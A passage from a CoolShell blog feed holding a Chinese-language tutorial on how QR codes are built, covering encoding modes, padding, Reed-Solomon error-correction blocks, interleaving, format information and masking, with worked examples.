Detection Pattern是定位图案，用于标记二维码的矩形大小。这三个定位图案有白边叫Separators for Postion Detection Patterns。之所以三个而不是四个意思就是三个就可以标识一个矩形了。</li>\n</ul>\n<ul>\n<li>Timing Patterns也是用于定位的。原因是二维码有40种尺寸，尺寸过大了后需要有根标准线，不然扫描的时候可能会扫歪了。</li>\n</ul>\n<ul>\n<li>Alignment Patterns 只有Version 2以上（包括Version2）的二维码需要这个东东，同样是为了定位用的。</li>\n</ul>\n<h5 style=\"text-align: left;\">功能性数据</h5>\n<ul>\n<li>Format Information 存在于所有的尺寸中，用于存放一些格式化数据的。</li>\n</ul>\n<ul>\n<li>Version Information 在 &gt;= Version 7以上，需要预留两块3 x 6的区域存放一些版本信息。</li>\n</ul>\n<h5>数据码和纠错码</h5>\n<ul>\n<li>除了上述的那些地方，剩下的地方存放 Data Code 数据码 和 Error Correction Code 纠错码。</li>\n</ul>\n<h4>数据编码</h4>\n<p>我们先来说说数据编码。QR码支持如下的编码：</p>\n<p><strong>Numeric mode</strong> 数字编码，从0到9。如果需要编码的数字的个数不是3的倍数，那么，最后剩下的1或2位数会被转成4或7bits，则其它的每3位数字会被编成 10，12，14bits，编成多长还要看二维码的尺寸（下面有一个表Table 3说明了这点）</p>\n<p><strong>Alphanumeric mode</strong> 字符编码。包括 0-9，大写的A到Z（没有小写），以及符号$ % * + &#8211; . / : 包括空格。这些字符会映射成一个字符索引表。如下所示：（其中的SP是空格，Char是字符，Value是其索引值） 编码的过程是把字符两两分组，然后转成下表的45进制，然后转成11bits的二进制，如果最后有一个落单的，那就转成6bits的二进制。而编码模式和字符的个数需要根据不同的Version尺寸编成9, 11或13个二进制（如下表中Table 3）</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter  wp-image-10594\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/10/Alphanumeric-mode.png\" width=\"549\" height=\"121\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/10/Alphanumeric-mode.png 686w, https://coolshell.cn/wp-content/uploads/2013/10/Alphanumeric-mode-300x66.png 300w\" sizes=\"(max-width: 549px) 100vw, 549px\" /></p>\n<p><strong>Byte mode</strong>, 字节编码，可以是0-255的ISO-8859-1字符。有些二维码的扫描器可以自动检测是否是UTF-8的编码。</p>\n<p><strong>Kanji mode</strong> 这是日文编码，也是双字节编码。同样，也可以用于中文编码。日文和汉字的编码会减去一个值。如：在0X8140 to 0X9FFC中的字符会减去8140，在0XE040到0XEBBF中的字符要减去0XC140，然后把结果前两个16进制位拿出来乘以0XC0，然后再加上后两个16进制位，最后转成13bit的编码。如下图示例：</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter  wp-image-10595\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/10/Kanji-mode.png\" width=\"600\" height=\"174\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/10/Kanji-mode.png 667w, https://coolshell.cn/wp-content/uploads/2013/10/Kanji-mode-300x86.png 300w\" sizes=\"(max-width: 600px) 100vw, 600px\" /></p>\n<p><strong>Extended Channel Interpretation (ECI) mode</strong> 主要用于特殊的字符集。并不是所有的扫描器都支持这种编码。</p>\n<p><strong>Structured Append mode</strong> 用于混合编码，也就是说，这个二维码中包含了多种编码格式。</p>\n<p><strong>FNC1 mode</strong> 这种编码方式主要是给一些特殊的工业或行业用的。比如GS1条形码之类的。</p>\n<p>简单起见，后面三种不会在本文 中讨论。</p>\n<p>下面两张表中，</p>\n<ul>\n<li>Table 2 是各个编码格式的“编号”，这个东西要写在Format Information中。注：中文是1101</li>\n</ul>\n<ul>\n<li>Table 3 表示了，不同版本（尺寸）的二维码，对于，数字，字符，字节和Kanji模式下，对于单个编码的2进制的位数。（在二维码的规格说明书中，有各种各样的编码规范表，后面还会提到）</li>\n</ul>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-10596\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/10/Mode-Indicator.png\" width=\"442\" height=\"332\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/10/Mode-Indicator.png 442w, https://coolshell.cn/wp-content/uploads/2013/10/Mode-Indicator-300x225.png 300w\" sizes=\"(max-width: 442px) 100vw, 442px\" /></p>\n<p>下面我们看几个示例，</p>\n<h5>示例一：数字编码</h5>\n<p style=\"padding-left: 30px;\">在Version 1的尺寸下，纠错级别为H的情况下，编码： 01234567</p>\n<p style=\"padding-left: 30px;\">1. 把上述数字分成三组: 012 345 67</p>\n<p style=\"padding-left: 30px;\">2. 把他们转成二进制:  012 转成 0000001100；  345 转成 0101011001；  67 转成 1000011。</p>\n<p style=\"padding-left: 30px;\">3. 把这三个二进制串起来: 0000001100 0101011001 1000011</p>\n<p style=\"padding-left: 30px;\">4. 把数字的个数转成二进制 (version 1-H是10 bits ): 8个数字的二进制是 0000001000</p>\n<p style=\"padding-left: 30px;\">5. 把数字编码的标志0001和第4步的编码加到前面:  0001 0000001000 0000001100 0101011001 1000011</p>\n<h5>示例二：字符编码</h5>\n<p style=\"padding-left: 30px;\">在Version 1的尺寸下，纠错级别为H的情况下，编码: AC-42</p>\n<p style=\"padding-left: 30px;\">1. 从字符索引表中找到 AC-42 这五个字条的索引 (10,12,41,4,2)</p>\n<p style=\"padding-left: 30px;\">2. 两两分组: (10,12) (41,4) (2)</p>\n<p style=\"padding-left: 30px;\">3.把每一组转成11bits的二进制:</p>\n<p style=\"padding-left: 60px;\">(10,12) 10*45+12 等于 462 转成 00111001110<br />\n(41,4) 41*45+4 等于 1849 转成 11100111001<br />\n(2) 等于 2 转成 000010</p>\n<p style=\"padding-left: 30px;\">4. 把这些二进制连接起来：00111001110 11100111001 000010</p>\n<p style=\"padding-left: 30px;\">5. 把字符的个数转成二进制 (Version 1-H为9 bits ): 5个字符，5转成 000000101</p>\n<p style=\"padding-left: 30px;\">6. 在头上加上编码标识 0010 和第5步的个数编码:  0010 000000101 00111001110 11100111001 000010</p>\n<h4>结束符和补齐符</h4>\n<p>假如我们有个HELLO WORLD的字符串要编码，根据上面的示例二，我们可以得到下面的编码，</p>\n<table>\n<tbody>\n<tr>\n<th>编码</th>\n<th>字符数</th>\n<th>HELLO WORLD的编码</th>\n</tr>\n<tr>\n<td>0010</td>\n<td>000001011</td>\n<td>01100001011 01111000110 10001011100 10110111000 10011010100 001101</td>\n</tr>\n</tbody>\n</table>\n<p>我们还要加上结束符：</p>\n<table>\n<tbody>\n<tr>\n<th>编码</th>\n<th>字符数</th>\n<th>HELLO WORLD的编码</th>\n<th>结束</th>\n</tr>\n<tr>\n<td>0010</td>\n<td>000001011</td>\n<td>01100001011 01111000110 10001011100 10110111000 10011010100 001101</td>\n<td>0000</td>\n</tr>\n</tbody>\n</table>\n<h5>按8bits重排</h5>\n<p>如果所有的编码加起来不是8个倍数我们还要在后面加上足够的0，比如上面一共有78个bits，所以，我们还要加上2个0，然后按8个bits分好组：</p>\n<p>00100000   01011011   00001011   01111000   11010001   01110010   11011100   01001101   01000011   010000<span style=\"color: #ff0000;\"><strong>00</strong></span></p>\n<h5>补齐码（Padding Bytes）</h5>\n<p>最后，如果如果还没有达到我们最大的bits数的限制，我们还要加一些补齐码（Padding Bytes），Padding Bytes就是重复下面的两个bytes：11101100 00010001 （这两个二进制转成十进制是236和17，我也不知道为什么，只知道Spec上是这么写的）关于每一个Version的每一种纠错级别的最大Bits限制，可以参看<a href=\"http://raidenii.net/files/datasheets/misc/qr_code.pdf\" target=\"_blank\">QR Code Spec</a>的第28页到32页的Table-7一表。</p>\n<p>假设我们需要编码的是Version 1的Q纠错级，那么，其最大需要104个bits，而我们上面只有80个bits，所以，还需要补24个bits，也就是需要3个Padding Bytes，我们就添加三个，于是得到下面的编码：</p>\n<p>00100000 01011011 00001011 01111000 11010001 01110010 11011100 01001101 01000011 01000000 <span style=\"color: #ff0000;\"><strong>11101100 00010001 11101100</strong></span></p>\n<p>上面的编码就是数据码了，叫Data Codewords，每一个8bits叫一个codeword，我们还要对这些数据码加上纠错信息。</p>\n<h4>纠错码</h4>\n<p>上面我们说到了一些纠错级别，Error Correction Code Level，二维码中有四种级别的纠错，这就是为什么二维码有残缺还能扫出来，也就是为什么有人在二维码的中心位置加入图标。</p>\n<table>\n<tbody>\n<tr>\n<th colspan=\"2\">错误修正容量</th>\n</tr>\n<tr>\n<td>L水平</td>\n<td>7%的字码可被修正</td>\n</tr>\n<tr>\n<td>M水平</td>\n<td>15%的字码可被修正</td>\n</tr>\n<tr>\n<td>Q水平</td>\n<td>25%的字码可被修正</td>\n</tr>\n<tr>\n<td>H水平</td>\n<td>30%的字码可被修正</td>\n</tr>\n</tbody>\n</table>\n<p>那么，QR是怎么对数据码加上纠错码的？首先，我们需要对数据码进行分组，也就是分成不同的Block，然后对各个Block进行纠错编码，对于如何分组，我们可以查看<a href=\"http://raidenii.net/files/datasheets/misc/qr_code.pdf\" target=\"_blank\">QR Code Spec</a>的第33页到44页的Table-13到Table-22的定义表。注意最后两列：</p>\n<ul>\n<li><strong>Number of Error Code Correction Blocks</strong> ：需要分多少个块。</li>\n</ul>\n<ul>\n<li><strong>Error Correction Code Per Blocks</strong>：每一个块中的code个数，所谓的code的个数，也就是有多少个8bits的字节。</li>\n</ul>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-10600\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/10/Error-Correction-Blocks.png\" width=\"576\" height=\"308\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/10/Error-Correction-Blocks.png 576w, https://coolshell.cn/wp-content/uploads/2013/10/Error-Correction-Blocks-300x160.png 300w\" sizes=\"(max-width: 576px) 100vw, 576px\" /></p>\n<p>举个例子：上述的Version 5 + Q纠错级：需要4个Blocks（2个Blocks为一组，共两组），头一组的两个Blocks中各15个bits数据 + 各 9个bits的纠错码（注：表中的codewords就是一个8bits的byte）（再注：最后一例中的（c, k, r ）的公式为：c = k + 2 * r，因为后脚注解释了：纠错码的容量小于纠错码的一半）</p>\n<p>下图给一个5-Q的示例（因为二进制写起来会让表格太大，所以，我都用了十进制，我们可以看到每一块的纠错码有18个codewords，也就是18个8bits的二进制数）</p>\n<table>\n<tbody>\n<tr>\n<th>组</th>\n<th>块</th>\n<th>数据</th>\n<th>对每个块的纠错码</th>\n</tr>\n<tr>\n<td style=\"text-align: center;\" rowspan=\"2\">1</td>\n<td style=\"text-align: center;\">1</td>\n<td>67 85 70 134 87 38 85 194 119 50 6 18 6 103 38</td>\n<td>213 199 11 45 115 247 241 223 229 248 154 117 154 111 86 161 111 39</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">2</td>\n<td>246 246 66 7 118 134 242 7 38 86 22 198 199 146 6</td>\n<td>87 204 96 60 202 182 124 157 200 134 27 129 209 17 163 163 120 133</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\" rowspan=\"2\">2</td>\n<td style=\"text-align: center;\">1</td>\n<td>182 230 247 119 50 7 118 134 87 38 82 6 134 151 50 7</td>\n<td>148 116 177 212 76 133 75 242 238 76 195 230 189 10 108 240 192 141</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">2</td>\n<td>70 247 118 86 194 6 151 50 16 236 17 236 17 236 17 236</td>\n<td>235 159 5 173 24 147 59 33 106 40 255 172 82 2 131 32 178 236</td>\n</tr>\n</tbody>\n</table>\n<p>注：二维码的纠错码主要是通过<a href=\"http://en.wikipedia.org/wiki/Reed%E2%80%93Solomon_error_correction\">Reed-Solomon error correction</a>（里德-所罗门纠错算法）来实现的。对于这个算法，对于我来说是相当的复杂，里面有很多的数学计算，比如：多项式除法，把1-255的数映射成2的n次方（0&lt;=n&lt;=255）的伽罗瓦域Galois Field之类的神一样的东西，以及基于这些基础的纠错数学公式，因为我的数据基础差，对于我来说太过复杂，所以我一时半会儿还有点没搞明白，还在学习中，所以，我在这里就不展开说这些东西了。还请大家见谅了。（当然，如果有朋友很明白，也繁请教教我）</p>\n<h4>最终编码</h4>\n<h5>穿插放置</h5>\n<p>如果你以为我们可以开始画图，你就错了。二维码的混乱技术还没有玩完，它还要把数据码和纠错码的各个codewords交替放在一起。如何交替呢，规则如下：</p>\n<p>对于数据码：把每个块的第一个codewords先拿出来按顺度排列好，然后再取第一块的第二个，如此类推。如：上述示例中的Data Codewords如下：</p>\n<table class=\"coolshell\">\n<tbody>\n<tr>\n<td class=\"head\">块 1</td>\n<td>67</td>\n<td>85</td>\n<td>70</td>\n<td>134</td>\n<td>87</td>\n<td>38</td>\n<td>85</td>\n<td>194</td>\n<td>119</td>\n<td>50</td>\n<td>6</td>\n<td>18</td>\n<td>6</td>\n<td>103</td>\n<td>38</td>\n<td></td>\n</tr>\n<tr>\n<td class=\"head\">块 2</td>\n<td>246</td>\n<td>246</td>\n<td>66</td>\n<td>7</td>\n<td>118</td>\n<td>134</td>\n<td>242</td>\n<td>7</td>\n<td>38</td>\n<td>86</td>\n<td>22</td>\n<td>198</td>\n<td>199</td>\n<td>146</td>\n<td>6</td>\n<td></td>\n</tr>\n<tr>\n<td class=\"head\">块 3</td>\n<td>182</td>\n<td>230</td>\n<td>247</td>\n<td>119</td>\n<td>50</td>\n<td>7</td>\n<td>118</td>\n<td>134</td>\n<td>87</td>\n<td>38</td>\n<td>82</td>\n<td>6</td>\n<td>134</td>\n<td>151</td>\n<td>50</td>\n<td>7</td>\n</tr>\n<tr>\n<td class=\"head\">块 4</td>\n<td>70</td>\n<td>247</td>\n<td>118</td>\n<td>86</td>\n<td>194</td>\n<td>6</td>\n<td>151</td>\n<td>50</td>\n<td>16</td>\n<td>236</td>\n<td>17</td>\n<td>236</td>\n<td>17</td>\n<td>236</td>\n<td>17</td>\n<td>236</td>\n</tr>\n</tbody>\n</table>\n<p>我们先取第一列的：67， 246， 182， 70</p>\n<p>然后再取第二列的：67， 246， 182， 70， 85，246，230 ，247</p>\n<p>如此类推：67， 246， 182， 70， 85，246，230 ，247 ………  ……… ，38，6，50，17，7，236</p>\n<p>对于纠错码，也是一样：</p>\n<table class=\"coolshell\">\n<tbody>\n<tr>\n<td class=\"head\">块 1</td>\n<td>213</td>\n<td>199</td>\n<td>11</td>\n<td>45</td>\n<td>115</td>\n<td>247</td>\n<td>241</td>\n<td>223</td>\n<td>229</td>\n<td>248</td>\n<td>154</td>\n<td>117</td>\n<td>154</td>\n<td>111</td>\n<td>86</td>\n<td>161</td>\n<td>111</td>\n<td>39</td>\n</tr>\n<tr>\n<td class=\"head\">块 2</td>\n<td>87</td>\n<td>204</td>\n<td>96</td>\n<td>60</td>\n<td>202</td>\n<td>182</td>\n<td>124</td>\n<td>157</td>\n<td>200</td>\n<td>134</td>\n<td>27</td>\n<td>129</td>\n<td>209</td>\n<td>17</td>\n<td>163</td>\n<td>163</td>\n<td>120</td>\n<td>133</td>\n</tr>\n<tr>\n<td class=\"head\">块 3</td>\n<td>148</td>\n<td>116</td>\n<td>177</td>\n<td>212</td>\n<td>76</td>\n<td>133</td>\n<td>75</td>\n<td>242</td>\n<td>238</td>\n<td>76</td>\n<td>195</td>\n<td>230</td>\n<td>189</td>\n<td>10</td>\n<td>108</td>\n<td>240</td>\n<td>192</td>\n<td>141</td>\n</tr>\n<tr>\n<td class=\"head\">块 4</td>\n<td>235</td>\n<td>159</td>\n<td>5</td>\n<td>173</td>\n<td>24</td>\n<td>147</td>\n<td>59</td>\n<td>33</td>\n<td>106</td>\n<td>40</td>\n<td>255</td>\n<td>172</td>\n<td>82</td>\n<td>2</td>\n<td>131</td>\n<td>32</td>\n<td>178</td>\n<td>236</td>\n</tr>\n</tbody>\n</table>\n<p>和数据码取的一样，得到：213，87，148，235，199，204，116，159，…… …… 39，133，141，236</p>\n<p>然后，再把这两组放在一起（纠错码放在数据码之后）得到：</p>\n<p>67, 246, 182, 70, 85, 246, 230, 247, 70, 66, 247, 118, 134, 7, 119, 86, 87, 118, 50, 194, 38, 134, 7, 6, 85, 242, 118, 151, 194, 7, 134, 50, 119, 38, 87, 16, 50, 86, 38, 236, 6, 22, 82, 17, 18, 198, 6, 236, 6, 199, 134, 17, 103, 146, 151, 236, 38, 6, 50, 17, 7, 236, 213, 87, 148, 235, 199, 204, 116, 159, 11, 96, 177, 5, 45, 60, 212, 173, 115, 202, 76, 24, 247, 182, 133, 147, 241, 124, 75, 59, 223, 157, 242, 33, 229, 200, 238, 106, 248, 134, 76, 40, 154, 27, 195, 255, 117, 129, 230, 172, 154, 209, 189, 82, 111, 17, 10, 2, 86, 163, 108, 131, 161, 163, 240, 32, 111, 120, 192, 178, 39, 133, 141, 236</p>\n<p>这就是我们的数据区。</p>\n<h5>Remainder Bits</h5>\n<p>最后再加上Reminder Bits，对于某些Version的QR，上面的还不够长度，还要加上Remainder Bits，比如：上述的5Q版的二维码，还要加上7个bits，Remainder Bits加零就好了。关于哪些Version需要多少个Remainder bit，可以参看<a href=\"http://raidenii.net/files/datasheets/misc/qr_code.pdf\" target=\"_blank\">QR Code Spec</a>的第15页的Table-1的定义表。</p>\n<h4>画二维码图</h4>\n<h5>Position Detection Pattern</h5>\n<p>首先，先把Position Detection图案画在三个角上。（无论Version如何，这个图案的尺寸就是这么大）</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/10/finder.png\" width=\"99\" height=\"141\" /></p>\n<h5>Alignment Pattern</h5>\n<p>然后，再把Alignment图案画上（无论Version如何，这个图案的尺寸就是这么大）</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/10/alignment-pattern.png\" width=\"68\" height=\"91\" /></p>\n<p>关于Alignment的位置，可以查看<a href=\"http://raidenii.net/files/datasheets/misc/qr_code.pdf\" target=\"_blank\">QR Code Spec</a>的第81页的Table-E.1的定义表（下表是不完全表格）</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-10613\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/10/Alignment-Position.png\" width=\"582\" height=\"239\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/10/Alignment-Position.png 582w, https://coolshell.cn/wp-content/uploads/2013/10/Alignment-Position-300x123.png 300w\" sizes=\"(max-width: 582px) 100vw, 582px\" /></p>\n<p>下图是根据上述表格中的Version8的一个例子（6，24，42）</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-10606\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/10/alignment-example.png\" width=\"241\" height=\"288\" /></p>\n<h5>Timing Pattern</h5>\n<p>接下来是Timing Pattern的线（这个不用多说了）</p>\n<p style=\"text-align: center;\"><strong><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/10/Timing-Pattern.png\" width=\"596\" height=\"258\" /></strong></p>\n<h5>Format Information</h5>\n<p>再接下来是Formation Information，下图中的蓝色部分。</p>\n<p style=\"text-align: left;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter  wp-image-10610\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/10/Format-Information.png\" width=\"352\" height=\"199\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/10/Format-Information.png 391w, https://coolshell.cn/wp-content/uploads/2013/10/Format-Information-300x169.png 300w\" sizes=\"(max-width: 352px) 100vw, 352px\" /></p>\n<p style=\"text-align: left;\">Format Information是一个15个bits的信息，每一个bit的位置如下图所示：（注意图中的Dark Module，那是永远出现的）</p>\n<p style=\"text-align: left;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-10630\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/10/Format-Info-bits-postion.png\" width=\"363\" height=\"381\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/10/Format-Info-bits-postion.png 363w, https://coolshell.cn/wp-content/uploads/2013/10/Format-Info-bits-postion-285x300.png 285w\" sizes=\"(max-width: 363px) 100vw, 363px\" /></p>\n<p style=\"text-align: left;\">这15个bits中包括：</p>\n<ul>\n<li>5个数据bits：其中，2个bits用于表示使用什么样的Error Correction Level， 3个bits表示使用什么样的Mask</li>\n<li>10个纠错bits。主要通过BCH Code来计算</li>\n</ul>\n<p>然后15个bits还要与101010000010010做XOR操作。这样就保证不会因为我们选用了00的纠错级别和000的Mask，从而造成全部为白色，这会增加我们的扫描器的图像识别的困难。</p>\n<p>下面是一个示例：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-10631\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/10/Format-Information-Example.png\" width=\"376\" height=\"116\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/10/Format-Information-Example.png 376w, https://coolshell.cn/wp-content/uploads/2013/10/Format-Information-Example-300x92.png 300w\" sizes=\"(max-width: 376px) 100vw, 376px\" /></p>\n<p>关于Error Correction Level如下表所示：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-10632\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/10/Error-Correction-Indicator-Code.png\" width=\"253\" height=\"114\" /></p>\n<p>关于Mask图案如后面的Table 23所示。</p>\n<h5 style=\"text-align: left;\">Version Information</h5>\n<p style=\"text-align: left;\">再接下来是Version Information（版本7以后需要这个编码），下图中的蓝色部分。<br />\n<img decoding=\"async\" loading=\"lazy\" class=\"aligncenter  wp-image-10612\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/10/Version-Information.png\" width=\"508\" height=\"254\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/10/Version-Information.png 635w, https://coolshell.cn/wp-content/uploads/2013/10/Version-Information-300x149.png 300w\" sizes=\"(max-width: 508px) 100vw, 508px\" /></p>\n<p>Version Information一共是18个bits，其中包括6个bits的版本号以及12个bits的纠错码，下面是一个示例：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-10634\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/10/Version-Information-Example.png\" width=\"405\" height=\"63\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/10/Version-Information-Example.png 405w, https://coolshell.cn/wp-content/uploads/2013/10/Version-Information-Example-300x46.png 300w\" sizes=\"(max-width: 405px) 100vw, 405px\" /></p>\n<p>而其填充位置如下：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-10635\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/10/Version-Information-Position.png\" width=\"425\" height=\"149\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/10/Version-Information-Position.png 425w, https://coolshell.cn/wp-content/uploads/2013/10/Version-Information-Position-300x105.png 300w\" sizes=\"(max-width: 425px) 100vw, 425px\" /></p>\n<h5>数据和数据纠错码</h5>\n<p>然后是填接我们的最终编码，最终编码的填充方式如下：从左下角开始沿着红线填我们的各个bits，1是黑色，0是白色。如果遇到了上面的非数据区，则绕开或跳过。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/10/Data-Placement.png\" width=\"348\" height=\"372\" /></p>\n<h5>掩码图案</h5>\n<p>这样下来，我们的图就填好了，但是，也许那些点并不均衡，如果出现大面积的空白或黑块，会告诉我们扫描识别的困难。所以，我们还要做Masking操作（靠，还嫌不复杂）QR的Spec中说了，QR有8个Mask你可以使用，如下所示：其中，各个mask的公式在各个图下面。所谓mask，说白了，就是和上面生成的图做XOR操作。Mask只会和数据区进行XOR，不会影响功能区。（<strong>注：选择一个合适的Mask也是有算法的</strong>）</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-10614\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/10/masking-pattern.png\" width=\"494\" height=\"274\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/10/masking-pattern.png 494w, https://coolshell.cn/wp-content/uploads/2013/10/masking-pattern-300x166.png 300w\" sizes=\"(max-width: 494px) 100vw, 494px\" /></p>\n<p>其Mask的标识码如下所示：（其中的i,j分别对应于上图的x,y）</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-10633\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/10/Mask-Pattern-Code.png\" width=\"416\" height=\"181\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/10/Mask-Pattern-Code.png 416w, https://coolshell.cn/wp-content/uploads/2013/10/Mask-Pattern-Code-300x130.png 300w\" sizes=\"(max-width: 416px) 100vw, 416px\" /></p>\n<p>下面是Mask后的一些样子，我们可以看到被某些Mask XOR了的数据变得比较零散了。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-10615\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/10/Masking-Examples.png\" width=\"616\" height=\"446\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/10/Masking-Examples.png 616w, https://coolshell.cn/wp-content/uploads/2013/10/Masking-Examples-300x217.png 300w\" sizes=\"(max-width: 616px) 100vw, 616px\" /></p>\n<p>Mask过后的二维码就成最终的图了。</p>\n<p>好了，大家可以去尝试去写一下QR的编码程序，当然，你可以用网上找个Reed Soloman的纠错算法的库，或是看看别人的源代码是怎么实现这个繁锁的编码。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17225.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/08/cuckoo-150x150.jpg\" alt=\"Cuckoo Filter：设计与实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17225.html\" class=\"wp_rp_title\">Cuckoo Filter：设计与实现</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/puzzle-150x150.png\" alt=\"谜题的答案和活动的心得体会\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_title\">谜题的答案和活动的心得体会</a></li><li ><a href=\"https://coolshell.cn/articles/11832.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/538efefbgw1eiz9cvx78fj20rm0fmdi8-150x150.jpg\" alt=\"【活动】解迷题送礼物\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11832.html\" class=\"wp_rp_title\">【活动】解迷题送礼物</a></li><li ><a href=\"https://coolshell.cn/articles/10427.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/10/buddy-memory-allocation-150x150.jpg\" alt=\"伙伴分配器的一个极简实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10427.html\" class=\"wp_rp_title\">伙伴分配器的一个极简实现</a></li><li ><a href=\"https://coolshell.cn/articles/9886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"二叉树迭代器算法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9886.html\" class=\"wp_rp_title\">二叉树迭代器算法</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/10590.html\">二维码的生成细节和原理</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/10590.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>165</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>伙伴分配器的一个极简实现</title>\n\t\t<link>https://coolshell.cn/articles/10427.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/10427.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Leo]]></dc:creator>\n\t\t<pubDate>Wed, 09 Oct 2013 15:10:42 